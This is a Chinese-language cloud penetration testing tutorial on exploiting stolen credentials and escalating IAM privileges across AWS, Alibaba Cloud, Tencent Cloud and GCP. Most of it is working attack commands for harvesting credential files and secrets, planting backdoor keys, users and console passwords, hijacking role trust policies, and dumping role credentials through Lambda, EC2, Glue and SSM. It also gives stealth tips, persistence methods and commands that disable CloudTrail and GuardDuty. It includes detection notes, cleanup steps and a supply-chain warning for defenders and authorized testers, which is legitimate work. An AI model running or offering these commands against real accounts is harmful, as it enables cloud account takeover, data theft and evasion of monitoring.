云安全渗透(三)云凭证利用与 IAM 提权

一、拿到凭证之后第一件事是枚举,不是利用

第一篇从代码仓库和对象存储里捞到了 AK/SK,第二篇从元数据服务里拿到了临时凭证。现在手上有一组凭证,接下来做什么?

大部分人的第一反应是”试试能不能 create user”。这个顺序是错的。正确的顺序是:先花二十分钟把这组凭证的权限摸清楚,再决定打哪条路径。

原因很实际。云 IAM 的权限是叠加的:用户直接策略 + 组策略 + 权限边界 + SCP + 资源策略,最终生效的是它们的交集。你看到的”这个用户挂了一个只读策略”,不代表它真的只能读——它可能在某个组里,那个组挂了一个你没注意到的策略。盲目尝试写操作,一是可能触发告警,二是可能因为不了解权限边界而反复失败。

1.1 先确认身份

这是零成本、零权限的一条命令,任何有效凭证都能调:

aws sts get-caller-identity

返回:

{
    "UserId": "AIDAXXXXXXXXXXXXXXXXX",
    "Account": "123456789012",
    "Arn": "arn:aws:iam::123456789012:user/deploy-bot"
}

读这个返回要抓三个信息:

  • Account 是账号 ID。后面拼资源 ARN 时全都要用。
  • Arn 的中间段决定身份类型。user/ 是 IAM 用户(长期凭证),assumed-role/角色名/会话名 是角色(临时凭证),root 是根账号(那就直接结束了)。
  • UserId 前缀也有信息量。AIDA 是用户,AROA 是角色,ASIA 是临时凭证。和第二篇里看到的 ASIA 开头对应上了。

1.2 AWS 的权限枚举

确认身份之后开始枚举。按信息密度排序:

# 一次拉全量授权信息,这是效率最高的一条
aws iam get-account-authorization-details > authz.json
# 或者分步来
aws iam list-attached-user-policies --user-name deploy-bot
aws iam list-user-policies --user-name deploy-bot
aws iam list-groups-for-user --user-name deploy-bot
aws iam list-roles
aws iam list-policies --scope Local --only-attached

get-account-authorization-details 是首选。它把账号里所有用户、组、角色、策略、策略版本一次性返回,本地慢慢分析,比一条条调 API 快得多。但它需要 iam:GetAccountAuthorizationDetails 权限,不一定有。没有就退回分步枚举。

拿到策略文档后,需要看具体的策略内容:

aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v3
aws iam get-user-policy --user-name <u> --policy-name <p>

get-policy-version 必须指定版本号,用 list-policy-versions 查当前是哪个版本:

aws iam list-policy-versions --policy-arn <arn>

这里有一个重要的攻击面:如果历史版本里有权限比当前版本更大的,而攻击者又有 iam:SetDefaultPolicyVersion,就能把策略切回旧版本。所以枚举时不要只看默认版本,要把所有版本都拉出来对比。第三篇后面会讲这条路径。

1.3 为什么枚举出来的应该是”有效权限”

策略权限和有效权限不是一回事。有三层东西会削减最终权限:

机制作用
权限边界(Permissions Boundary)给用户/角色设一个权限上限,即使策略里有 * 也超不过边界
SCP(Service Control Policy)组织级别的权限上限,作用于整个账号
资源策略(Resource Policy)挂在资源上,比如 S3 桶策略、KMS 密钥策略,可能反过来允许跨账号访问

所以看到策略里写了 "Action": "*" 不要高兴太早,先查边界:

aws iam get-user --user-name deploy-bot | jq '.User.PermissionsBoundary'
aws organizations list-policies-for-target --target-id <account-id> --filter SERVICE_CONTROL_POLICY

最可靠的方法是实测。AWS 提供了权限模拟接口,可以精准判断单条权限:

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:user/deploy-bot \
  --action-names iam:CreateAccessKey iam:AttachUserPolicy iam:PassRole \
  --resource-arns "*"

返回里每条 action 会给 allowed、implicitDeny 或 explicitDeny。这是最准确的方式,但需要 iam:SimulatePrincipalPolicy 权限。

1.4 用工具做批量枚举

手工一条条试太慢。enumerate-iam 是专门干这个的,它把 AWS 的 API 列表全部试一遍,记录哪些返回 200、哪些返回 AccessDenied:

git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
python3 enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE \
  --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
  --session-token IQoJb3JpZ2luX2VjEBEa...   # 临时凭证才需要

注意这里给的是官方仓库 andresriancho/enumerate-iam。关于工具供应链的问题,第八节会专门讲,这一节先记住要用官方地址。

Pacu 是 AWS 利用框架,除了枚举还带提权路径扫描:

git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt && python3 pacu.py
# 会话内
import_keys default --access-key-id AKIA... --secret-access-key wJalr... --session-token IQoJ...
whoami
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run iam__privesc_scan --all-users

iam__privesc_scan 会直接匹配已知的提权路径并给出利用命令,这是最省事的一步。

其他两个工具各有用处:

# cloudsplaining:分析策略文档,找出过宽权限
cloudsplaining download -p default
cloudsplaining scan -i default.json -o out/
# pmapper:把 IAM 关系建成图,找提权路径
pmapper graph create
pmapper analysis --output-type text

pmapper 的价值在于多跳路径。单看一个权限平平无奇,但 A 能扮演 B、B 能扮演 C、C 是管理员,这条链只有画成图才看得见。

1.5 阿里云和腾讯云的枚举

阿里云:

aliyun sts GetCallerIdentity
aliyun ram ListUsers
aliyun ram ListRoles
aliyun ram ListPolicies --PolicyType System
aliyun ram ListPoliciesForUser --UserName <user>
aliyun ram ListAccessKeys --UserName <user>
aliyun ecs DescribeRegions
aliyun ecs DescribeInstances --RegionId cn-hangzhou

腾讯云:

tccli sts GetCallerIdentity
tccli cam ListUsers
tccli cam ListPolicies
tccli cam GetUser --Name <user>

二、凭证会藏在哪些地方

枚举做完之后,往往需要找更多凭证来扩大战果。这张清单按实际命中率排序:

位置命令
AWS CLI 配置cat ~/.aws/credentials; cat ~/.aws/config
环境变量env | grep -E 'AWS_|ALIBABA|TENCENT|AZURE|GOOGLE'
阿里云 CLIcat ~/.aliyun/config.json
阿里云 OSS 工具cat ~/.ossutilconfig
腾讯云 CLIcat ~/.tccli/default.credential
K8s 配置cat ~/.kube/config
Docker 仓库认证cat ~/.docker/config.json
Git 凭据cat ~/.git-credentials
npm / pip 凭据cat ~/.npmrc; cat ~/.pypirc
SSH 私钥ls -la ~/.ssh/

~/.aws/config 值得单独说一句。很多团队用 profile 切换多个账号,配置文件里会有 role_arn 和 source_profile,这直接把跨账号角色链画出来了:

[profile prod]
role_arn = arn:aws:iam::999999999999:role/ProdAdmin
source_profile = default
region = ap-northeast-1

看到这个配置,意味着用 default 的凭证就能扮演生产账号的 ProdAdmin 角色。一条命令的事:

aws sts assume-role --role-arn arn:aws:iam::999999999999:role/ProdAdmin \
  --role-session-name pentest --profile default

云侧的配置存储也要翻:

# SSM Parameter Store,注意 --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>
# Lambda 的环境变量
aws lambda get-function-configuration --function-name <name> --query 'Environment'
# CodeBuild 项目,可能藏着 GitHub token
aws codebuild list-projects
aws codebuild batch-get-projects --names <project>
aws codebuild list-source-credentials

aws codebuild list-source-credentials 这一条经常被忽略,它返回的是 CodeBuild 用来拉源码的凭据,如果是 GitHub,就是一个能访问代码仓库的 token。

三、AWS IAM 提权路径

3.1 判断标准

一个权限(或权限组合)算不算提权,判断标准只有一条:它能不能让我获得我本来没有的权限。

按这个标准,AWS 的提权路径可以分成三类:

类型特征例子
直接授权能给自己或自己能用的身份挂策略iam:AttachUserPolicy、iam:PutUserPolicy
创造身份能造出新的高权凭证iam:CreateAccessKey、iam:CreateLoginProfile
借用身份能让高权身份替自己执行iam:PassRole + 各种服务创建权限

第三类是最有意思的,也是最容易被忽略的。iam:PassRole 本身什么都干不了,它只是一个”把角色交给某个服务”的动作。但一旦和 lambda:CreateFunction 组合,就变成了”让 Lambda 用高权角色运行我的代码”。

iam:PassRole 单独存在不是漏洞,这是 AWS 官方的立场,也是为什么很多扫描器会漏报。判断时一定要看组合。

3.2 逐条路径

下面每一条都给出前置权限和完整命令。所有命令里的账号 ID、角色名、策略 ARN 都要替换成实际值。

3.2.1 iam:CreateAccessKey

给一个高权限用户建新密钥。注意 AWS 限制每个用户最多 2 个密钥,如果目标用户已经有 2 个,需要先删一个。

aws iam create-access-key --user-name target-admin

返回的 SecretAccessKey 只在这一次返回,之后无法再查。所以拿到就立刻保存。

如果目标用户已经有 2 个密钥:

aws iam list-access-keys --user-name target-admin
aws iam delete-access-key --user-name target-admin --access-key-id AKIAOLDKEYID
aws iam create-access-key --user-name target-admin

删别人的密钥是有明显副作用的行为,在授权测试里要单独确认。

3.2.2 iam:CreateLoginProfile / iam:UpdateLoginProfile

给用户设置控制台登录密码。区别在于目标用户有没有已存在的登录配置。

# 目标用户没有控制台密码
aws iam create-login-profile --user-name target-admin \
  --password 'P@ssw0rd!2026' --no-password-reset-required
# 目标用户已有控制台密码
aws iam update-login-profile --user-name target-admin \
  --password 'P@ssw0rd!2026' --no-password-reset-required

--no-password-reset-required 很重要,不加的话用户下次登录会被强制改密码,等于打草惊蛇。

3.2.3 iam:AttachUserPolicy / iam:AttachGroupPolicy

最直接的一条,把管理员策略挂上去:

aws iam attach-user-policy --user-name my-user \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-group-policy --group-name admins \
  --policy-arn arn:aws:iam::123456789012:policy/CustomAdmin

3.2.4 iam:PutUserPolicy / PutGroupPolicy / PutRolePolicy

内联策略,不用创建策略资源,更隐蔽:

cat > admin.json <<'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {"Effect": "Allow", "Action": "*", "Resource": "*"}
  ]
}
EOF
aws iam put-user-policy --user-name my-user \
  --policy-name maintenance --policy-document file://admin.json

策略名起成 maintenance 这种不起眼的名字,比 pwn 之类的强。

3.2.5 iam:AddUserToGroup

把自己加进管理员组,继承组策略:

aws iam add-user-to-group --group-name admins --user-name my-user

3.2.6 iam:CreatePolicyVersion --set-as-default

这条路径很隐蔽,因为它不创建任何新资源,也不修改任何绑定关系,只是给一个已挂载的策略加了个新版本并设为默认。

aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/ReadOnlyPolicy \
  --policy-document file://admin.json \
  --set-as-default

审计时看到的是”给一个只读策略创建了新版本”,如果审计规则只看 Attach*Policy,就会漏掉。检测这条要看 CreatePolicyVersion 事件里的 setAsDefault 字段。

3.2.7 iam:SetDefaultPolicyVersion

利用历史版本。有些策略早期版本权限很宽,后来收紧过,但旧版本还在:

aws iam list-policy-versions --policy-arn arn:aws:iam::123456789012:policy/AppPolicy
aws iam set-default-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/AppPolicy \
  --version-id v2

3.2.8 iam:UpdateAssumeRolePolicy + sts:AssumeRole

角色信任策略决定了谁能扮演它。改掉信任策略,把自己加进去:

cat > trust.json <<'EOF'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::123456789012:user/my-user"},
      "Action": "sts:AssumeRole"
    }
  ]
}
EOF
aws iam update-assume-role-policy --role-name TargetAdminRole \
  --policy-document file://trust.json
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/TargetAdminRole \
  --role-session-name pentest

这条命令是破坏性的:原来的信任策略被完全覆盖,依赖这个角色的服务会立刻中断。在客户环境执行前必须备份原始策略:

aws iam get-role --role-name TargetAdminRole --query 'Role.AssumeRolePolicyDocument' > trust-backup.json

3.2.9 iam:PassRole + lambda:CreateFunction

最经典的 PassRole 利用。写一个函数,让它用目标角色运行,函数体里把角色凭证打出来:

# index.py
import boto3, json
def handler(event, context):
    sts = boto3.client("sts")
    return sts.get_caller_identity()
zip -q f.zip index.py
aws lambda create-function --function-name esc \
  --runtime python3.12 \
  --role arn:aws:iam::123456789012:role/HighPrivRole \
  --handler index.handler \
  --zip-file fileb://f.zip
aws lambda invoke --function-name esc out.json
cat out.json

更彻底的做法是在函数里直接把角色的临时凭证取出来导出,这样后续操作可以在本地做:

import json, urllib.request
def handler(event, context):
    # 函数内读自己的环境变量拿凭证
    return {
        "key": __import__("os").environ.get("AWS_ACCESS_KEY_ID"),
        "secret": __import__("os").environ.get("AWS_SECRET_ACCESS_KEY"),
        "token": __import__("os").environ.get("AWS_SESSION_TOKEN"),
    }

检测上的重要细节:iam:PassRole 没有独立的 CloudTrail 事件。它只出现在 CreateFunction 请求的 requestParameters 里。这意味着如果告警规则只监控 PassRole 事件名,永远不会有告警。必须改成监控 CreateFunction、RunInstances、CreateStack 这些事件并检查其中的角色 ARN。

3.2.10 iam:PassRole + ec2:RunInstances

起一台 EC2,把高权角色挂上去,然后从元数据读凭证:

aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --subnet-id subnet-0123456789abcdef0 \
  --iam-instance-profile Name=HighPrivProfile \
  --key-name my-key
# SSH 上去后读元数据
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/HighPrivRole

这条路径的优点是直观,缺点是慢(要等实例起来)而且会留下明显的 RunInstances 事件和账单。

3.2.11 iam:PassRole + glue:CreateDevEndpoint

这条路径被低估了。Glue 的开发端点本质上是一台你可以 SSH 进去的机器,可以指定角色和公钥:

aws glue create-dev-endpoint --endpoint-name esc \
  --role-arn arn:aws:iam::123456789012:role/HighPrivRole \
  --public-key file://id_rsa.pub
# 等几分钟后取地址
aws glue get-dev-endpoint --endpoint-name esc
# 从返回里拿 PublicAddress,然后
ssh -i id_rsa glue@<PublicAddress>

在端点里就能读到角色的临时凭证。比 EC2 快,而且不是所有审计规则都会覆盖 Glue。

3.2.12 iam:PassRole + cloudformation:CreateStack

用 CloudFormation 栈以高权角色的身份创建资源,可以直接造后门用户:

aws cloudformation create-stack --stack-name maintenance \
  --capabilities CAPABILITY_NAMED_IAM \
  --role-arn arn:aws:iam::123456789012:role/HighPrivRole \
  --template-body file://cfn-backdoor.yaml

CAPABILITY_NAMED_IAM 是必须的,否则 CloudFormation 会拒绝创建带指定名字的 IAM 资源。

3.2.13 iam:PassRole + ecs:RegisterTaskDefinition + RunTask

aws ecs register-task-definition --family esc \
  --container-definitions file://cd.json \
  --task-role-arn arn:aws:iam::123456789012:role/HighPrivRole \
  --execution-role-arn arn:aws:iam::123456789012:role/ecsTaskExecutionRole
aws ecs run-task --cluster my-cluster --task-definition esc:1 --launch-type FARGATE

任务里读 169.254.170.2 拿凭证。

3.2.14 lambda:UpdateFunctionCode

不需要 PassRole,直接改一个已经挂了高权角色的现有函数:

aws lambda update-function-code --function-name existing-highpriv-func \
  --zip-file fileb://f.zip
aws lambda invoke --function-name existing-highpriv-func out.json

这条路径的隐蔽性在于,它不创建任何新资源,只改代码。检测要看 UpdateFunctionCode 事件。

3.2.15 ssm:SendCommand

如果目标 EC2 挂了高权实例角色,可以直接对这台机器下发命令,读它的元数据:

aws ssm send-command \
  --document-name "AWS-RunShellScript" \
  --instance-ids i-0123456789abcdef0 \
  --parameters 'commands=["curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/HighPrivRole"]'
# 查看执行结果
aws ssm list-command-invocations --command-id <id> --details

这条路径对”无法直接跑代码”的场景特别有用,因为 SSM 是合法的运维通道,很多环境不会对它告警。

3.2.16 其余路径

还有几条在特定环境下有效的:

路径前置权限说明
SageMaker notebookiam:PassRole + sagemaker:CreateNotebookInstance + CreatePresignedNotebookInstanceUrlnotebook 内可读角色凭证
DataPipelineiam:PassRole + datapipeline:CreatePipeline + PutPipelineDefinition + ActivatePipeline新版账号可能无法使用该服务,待验证
权限边界iam:PutUserPermissionsBoundary把边界换成 Allow *,使已有策略生效
CodeCommit 凭据iam:CreateServiceSpecificCredential拿仓库里的硬编码凭证
复活旧密钥iam:UpdateAccessKey把已禁用的密钥改回 Active
联邦元数据iam:UpdateSAMLProvider替换 SAML 元数据后冒充身份,破坏性强,需恢复原 XML

iam:UpdateAccessKey 这条容易被忽略。防御方禁用一个泄露的密钥之后,如果攻击者还有这个权限,可以再把它启用回来。

aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Active --user-name my-user

3.3 关于 pathfinding.cloud

上面这些路径不是零散总结出来的,有一个项目把它们系统化了:pathfinding.cloud,Datadog Security Labs 维护。

它的组织方式是 data/paths/aws/<service>/<service>-NNN.yaml,每条路径一个 YAML,里面写清楚权限组合、利用步骤、以及对应的检测方式。目前覆盖了 26 个服务目录(apprunner、batch、bedrock、braket、cloudformation、codebuild、codedeploy、cognitoidentity、datapipeline、ec2、ec2-instance-connect、ecs、emr、emrserverless、gamelift、glue、iam、imagebuilder、kinesisanalytics、lambda、omics、sagemaker、scheduler、ssm、stepfunctions、sts),路径总数在 100 条以上(精确数字随项目更新变化,标为待验证)。

代表条目包括 iam:PassRole + glue:CreateDevEndpoint、iam:PassRole + cloudformation:CreateStack、iam:PassRole + lambda:CreateFunction、iam:PassRole + ec2:RunInstances、ssm:SendCommand、lambda:UpdateFunctionCode、ecs:RegisterTaskDefinition、glue:UpdateDevEndpoint。

怎么用它:把 enumerate-iam 或 Pacu 跑出来的权限清单,和 pathfinding.cloud 的路径定义做交集匹配。可以自己写个脚本,也可以直接用 Pacu 的 iam__privesc_scan。

四、阿里云 RAM 提权

阿里云的权限模型和 AWS 类似但命名不同:IAM 叫 RAM,策略叫 Policy,角色叫 Role,临时凭证走 STS。

4.1 权限模型

AWS阿里云
IAM UserRAM 用户
IAM RoleRAM 角色
IAM GroupRAM 用户组
Policy权限策略
Permission Boundary权限边界
SCP资源目录管控策略

阿里云有个和 AWS 不同的地方:阿里云的主账号 AK 和 RAM 用户 AK 格式一样(都是 LTAI 开头),但主账号 AK 拥有全部权限,无法被任何策略限制。所以拿到一个 LTAI 开头的 AK 之后,第一件事是用 GetCallerIdentity 看它属于主账号还是子用户:

aliyun sts GetCallerIdentity

返回的 Arn 里如果是 acs:ram::1234567890123456:user/xxx 就是 RAM 用户,如果是 acs:ram::1234567890123456:root 就是主账号。

4.2 提权路径

路径一:控制台接管。 这是阿里云最有特色的一条,因为阿里云的控制台登录是子账号密码,可以远程创建:

# 拿到账号的登录域名
aliyun ram GetAccountAlias
# 建一个后门用户
aliyun ram CreateUser --UserName maintenance
# 给它设控制台密码
aliyun ram CreateLoginProfile --UserName maintenance --Password 'P@ssw0rd!2026'
# 挂管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
  --PolicyName AdministratorAccess --UserName maintenance

然后用这个用户登录 https://signin.aliyun.com/<账号别名>/ 就能进控制台。控制台的危害比 API 更大,因为可以图形化地操作所有资源。

路径二:建长期密钥。

aliyun ram CreateAccessKey --UserName target-admin

路径三:直接挂策略。

aliyun ram AttachPolicyToUser --PolicyType System \
  --PolicyName AdministratorAccess --UserName my-user
aliyun ram AttachPolicyToGroup --PolicyType System \
  --PolicyName AdministratorAccess --GroupName admins
aliyun ram AttachPolicyToRole --PolicyType System \
  --PolicyName AdministratorAccess --RoleName my-role

路径四:篡改策略版本。

aliyun ram CreatePolicy --PolicyName maintenance --PolicyDocument file://admin.json
aliyun ram CreatePolicyVersion --PolicyName maintenance \
  --PolicyDocument file://admin.json --SetAsDefault
# 或者切回旧版本
aliyun ram SetDefaultPolicyVersion --PolicyName AppPolicy --VersionId v2

路径五:改角色信任策略。

aliyun ram UpdateAssumeRolePolicy --RoleName TargetRole \
  --PolicyDocument file://trust.json
aliyun sts AssumeRole --RoleArn acs:ram::1234567890123456:role/TargetRole \
  --RoleSessionName pentest --DurationSeconds 3600

路径六:PassRole 到 ECS。 阿里云的 PassRole 概念体现在 RunInstances 的 --RamRoleName 参数上,把高权角色挂到新建的 ECS 上:

aliyun ecs RunInstances --RegionId cn-hangzhou \
  --ImageId <image-id> \
  --InstanceType ecs.t6-c1m1.large \
  --RamRoleName HighPrivRole \
  --SecurityGroupId <sg-id> \
  --VSwitchId <vsw-id>
# 实例起来后读元数据
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/HighPrivRole

有一个细节需要说明:阿里云是否存在类似 AWS 那样独立的 ram:PassRole 校验,这一点待验证。实操里的授权点主要在 ecs:RunInstances 和角色自身的信任策略上,也就是角色必须允许 ECS 服务扮演它。

路径七:函数计算后门。

aliyun ram CreateRole ... # 信任策略里允许 fc 服务
# 创建函数并指定角色
# 函数内读 100.100.100.200 拿角色凭证

具体的 API Action 名和 PassRole 校验方式待验证。

4.3 阿里云的 API 签名

如果要自己写脚本调阿里云 API,需要实现 RPC 风格的签名。这在实际利用里经常需要,因为 CLI 不一定能覆盖所有接口。

公共参数:

Format=JSON
Version=2015-05-01
AccessKeyId=<AK>
SignatureMethod=HMAC-SHA1
SignatureVersion=1.0
SignatureNonce=<随机 UUID>
Timestamp=<ISO8601 UTC 时间>
Action=<接口名>

签名算法:

StringToSign = "POST" + "&" + percentEncode("/") + "&" + percentEncode(canonicalizedQuery)
Signature = Base64(HMAC-SHA1(AccessKeySecret + "&", StringToSign))

percentEncode 的标准 URL 编码之外还有三个替换:+ 换成 %20,* 换成 %2A,%7E 换成 ~。这三个替换点错一个,签名就过不了,而且返回的错误信息不会告诉你是哪一步错了。

STS 临时凭证需要额外带 SecurityToken 参数。AccessKeyId 以 STS. 开头是识别依据。

import base64, hashlib, hmac, uuid, urllib.parse
from datetime import datetime
def percent_encode(s):
    res = urllib.parse.quote(str(s), safe='')
    return res.replace('+', '%20').replace('*', '%2A').replace('%7E', '~')
def sign(params, secret):
    items = sorted(params.items())
    canonical = '&'.join(f'{percent_encode(k)}={percent_encode(v)}' for k, v in items)
    string_to_sign = 'POST&' + percent_encode('/') + '&' + percent_encode(canonical)
    sig = hmac.new((secret + '&').encode(), string_to_sign.encode(), hashlib.sha1).digest()
    return base64.b64encode(sig).decode()
params = {
    'Format': 'JSON',
    'Version': '2015-05-01',
    'AccessKeyId': 'LTAI5tXXXXXXXXXXXXXX',
    'SignatureMethod': 'HMAC-SHA1',
    'SignatureVersion': '1.0',
    'SignatureNonce': str(uuid.uuid4()),
    'Timestamp': datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'),
    'Action': 'GetCallerIdentity',
}
params['Signature'] = sign(params, 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
print(urllib.parse.urlencode(params))

五、腾讯云 CAM 与 GCP

5.1 腾讯云

凭证格式是 SecretId(AKID 开头)加 SecretKey。CLI 是 tccli。

tccli configure    # 填 SecretId / SecretKey / Region,临时凭证还要填 Token
tccli sts GetCallerIdentity
tccli cam ListUsers
tccli cam ListPolicies

提权路径和 AWS 高度对应:

# 建后门密钥
tccli cam CreateAccessKey --TargetUin <target_uin>
# 挂管理员策略
tccli cam AttachUserPolicy --PolicyId <policy-id> --AttachUin <uin>
# 篡改策略版本
tccli cam CreatePolicy --PolicyName maintenance --PolicyDocument file://p.json
tccli cam CreatePolicyVersion --PolicyId <id> --PolicyDocument file://admin.json --SetAsDefault
tccli cam SetDefaultPolicyVersion --PolicyId <id> --VersionId 2
# 改角色信任策略
tccli cam UpdateAssumeRolePolicy --RoleId <id> --PolicyDocument file://trust.json
tccli sts AssumeRole --RoleArn qcs::cam::uin/<uin>:roleName/TargetRole --RoleSessionName s
# PassRole 到 CVM
tccli cvm RunInstances ... --CamRoleName TargetRole
# PassRole 到 SCF
tccli scf CreateFunction --Role qcs::cam::uin/<uin>:roleName/TargetRole ...

签名机制是 TC3-HMAC-SHA256:

Authorization: TC3-HMAC-SHA256 Credential=<SecretId>/<date>/<service>/tc3_request,
               SignedHeaders=content-type;host;x-tc-action,
               Signature=<signature>

临时凭证通过 X-TC-Token 头传递,STS 返回的是 TmpSecretId、TmpSecretKey、Token 三个字段。

两点待验证:腾讯云 cam:PassRole 与 RunInstances 的确切授权组合,以及子账号控制台登录对应的接口名。不要照搬阿里云的 CreateLoginProfile 写法。

5.2 GCP

GCP 的凭证形态主要是 Service Account 的 JSON key 文件:

gcloud auth activate-service-account --key-file=sa.json
gcloud auth list
gcloud config list

权限枚举:

gcloud projects get-iam-policy <project> \
  --flatten='bindings[].members' \
  --format='table(bindings.role)'
gcloud asset search-all-iam-policies --scope=projects/<project>

GCP 的提权路径有几个特点:

创建 SA key。

gcloud iam service-accounts keys create new.json \
  --iam-account SA@project.iam.gserviceaccount.com

模拟 Service Account,这是 GCP 最有特色的一条,对应权限 iam.serviceAccounts.getAccessToken(角色是 roles/iam.serviceAccountTokenCreator):

gcloud auth print-access-token \
  --impersonate-service-account=SA@project.iam.gserviceaccount.com

或者直接调 API:

curl -X POST \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/SA@project.iam.gserviceaccount.com:generateAccessToken" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}'

自授角色。 有 resourcemanager.projects.setIamPolicy 就等于有了一切:

gcloud projects add-iam-policy-binding <project> \
  --member=user:me@example.com \
  --role=roles/owner

给自己加 TokenCreator,做持久化:

gcloud iam service-accounts add-iam-policy-binding \
  SA@project.iam.gserviceaccount.com \
  --member=user:me@example.com \
  --role=roles/iam.serviceAccountTokenCreator

挂 SA 到算力。 比如给已有 VM 加 SSH key:

gcloud compute instances add-metadata <vm> \
  --metadata ssh-keys="user:$(cat id_rsa.pub)"

roles/owner 在 GCP 里等于全权,包括修改 IAM 策略。所以看到这个角色,直接就是终点了。

有一个限制要注意:GCP 的实例元数据 token 受 access scope 限制。如果 scope 是 cloud-platform.read-only,拿到的 token 只能读。这时候需要通过其他途径(比如找 SA key 文件、利用 compute.instances.setMetadata)来提权。

六、跨账号与角色链

单账号内的提权讲完了。真实环境里更有价值的是跨账号,因为生产环境通常在一个独立账号里。

6.1 读信任策略

一个角色的信任策略决定了谁能扮演它:

aws iam get-role --role-name CrossAccountRole --query 'Role.AssumeRolePolicyDocument'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {"AWS": "arn:aws:iam::111111111111:root"},
      "Action": "sts:AssumeRole",
      "Condition": {
        "StringEquals": {"sts:ExternalId": "abc123"},
        "Bool": {"aws:MultiFactorAuthPresent": "true"}
      }
    }
  ]
}

读这个要抓四个点:

  1. Principal 是哪个账号或哪个具体身份。写 root 表示允许该账号下的任何身份扮演(前提是那个身份自己有 sts:AssumeRole 权限)。
  2. Condition 里的 ExternalId。这是防止”混淆代理”问题的,如果外部 ID 泄露或者设成了弱值,防护就失效。
  3. aws:MultiFactorAuthPresent。要求 MFA 的话,没有 MFA 的会话无法扮演。
  4. 有没有 Condition 限制来源 IP 或 VPC。

6.2 找最短路径

多跳角色链是 PMapper 的强项:

pmapper graph create
pmapper analysis --output-type text

它会输出从当前身份到管理员的最短路径。手工做法是把所有角色的信任策略拉下来,在纸上画图:

我的用户 → 能扮演 RoleA → RoleA 能扮演 RoleB → RoleB 有 AdministratorAccess

每一跳都需要 sts:AssumeRole 权限,这个权限可能在用户策略里,也可能在角色的权限策略里(角色可以扮演另一个角色)。

6.3 扮演的完整流程

aws sts assume-role \
  --role-arn arn:aws:iam::999999999999:role/ProdAdmin \
  --role-session-name pentest \
  --external-id abc123          # 信任策略要求才需要
# 返回的凭证写入 profile 或环境变量
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

或者更省事,直接写进 ~/.aws/config 用 profile 切换:

[profile prod]
role_arn = arn:aws:iam::999999999999:role/ProdAdmin
source_profile = default

七、持久化

拿到管理员权限之后,如果测试目标是评估”长期驻留能力”,需要验证持久化。这些动作都有真实副作用,必须在授权范围内并且提前约定好清理方式。

方式命令特点
后门 AKiam:CreateAccessKey最简单,但永久密钥容易被发现
后门用户CreateUser + AttachUserPolicy明显,list-users 就能看到
改信任策略iam:UpdateAssumeRolePolicy 指向攻击者账号跨账号,隐蔽
Lambda 后门建一个函数 + EventBridge 定时触发中等隐蔽
SSM 关联ssm:CreateAssociation 定时跑 RunShellScript走运维通道,不易告警
复活旧密钥iam:UpdateAccessKey --status Active极隐蔽

致盲类动作要单独列出来,因为它们不是提权而是反检测:

aws cloudtrail stop-logging --name my-trail
aws cloudtrail delete-trail --name my-trail
aws guardduty delete-detector --detector-id <id>

这些命令本身是最高优先级的告警项,StopLogging 在任何成熟的安全运营体系里都应该触发严重告警。在授权测试里,这类操作可以验证”是否有告警”,但通常约定只验证一次。

必须配套清理清单。每条持久化都要能撤销:

# 删除后门密钥
aws iam delete-access-key --user-name maintenance --access-key-id AKIA...
# 删除后门用户及相关策略
aws iam detach-user-policy --user-name maintenance --policy-arn <arn>
aws iam delete-login-profile --user-name maintenance
aws iam delete-user --user-name maintenance
# 还原信任策略
aws iam update-assume-role-policy --role-name TargetRole --policy-document file://trust-backup.json
# 删除后门 Lambda
aws lambda delete-function --function-name esc
# 删除 SSM 关联
aws ssm delete-association --association-id <id>

八、工具与供应链风险

这一节必须单独写,因为我自己在做资料检索时踩到了。

kohlersbtuh15/accesskey_tools 已经被确认投毒。 这个仓库有 500 多个 star,是国内做云安全的人常用的 AK 利用工具集之一。它的 aws/aws_select_iam.py 在运行时会静默安装一个仿冒的 PyPI 包:

项目地址
官方包andresriancho/enumerate-iam
仿冒包andresrianch/enumerate-iam(少一个 o)

仿冒仓库的提交时间是 2025-11-18。工具执行时后台安装仿冒包,等于把攻击者的代码跑在自己的机器上。同类疑似投毒的项目还有 yigexiaoyunwei/jumpserver_decrypto。

这件事对做云安全的人有直接教训:

  1. 云安全工具本身就是高价值攻击目标。 用这些工具的人手上往往有大量客户的 AK/SK,一次投毒能拿到的东西比打十个站还多。
  2. 跑之前核对三个东西:仓库地址的每一个字符、最近一次提交的时间和内容、依赖包的官方来源。少一个字母的仿冒仓库是最低级也最有效的攻击。
  3. 优先用官方工具:andresriancho/enumerate-iam、RhinoSecurityLabs/pacu、teamssix/cf。用 pip 装依赖时用 --require-hashes 或者至少把依赖版本固定下来。
  4. 在隔离环境里跑。理想情况下云工具应该跑在一台专门的、不存放任何真实凭证的机器上,用完即弃。

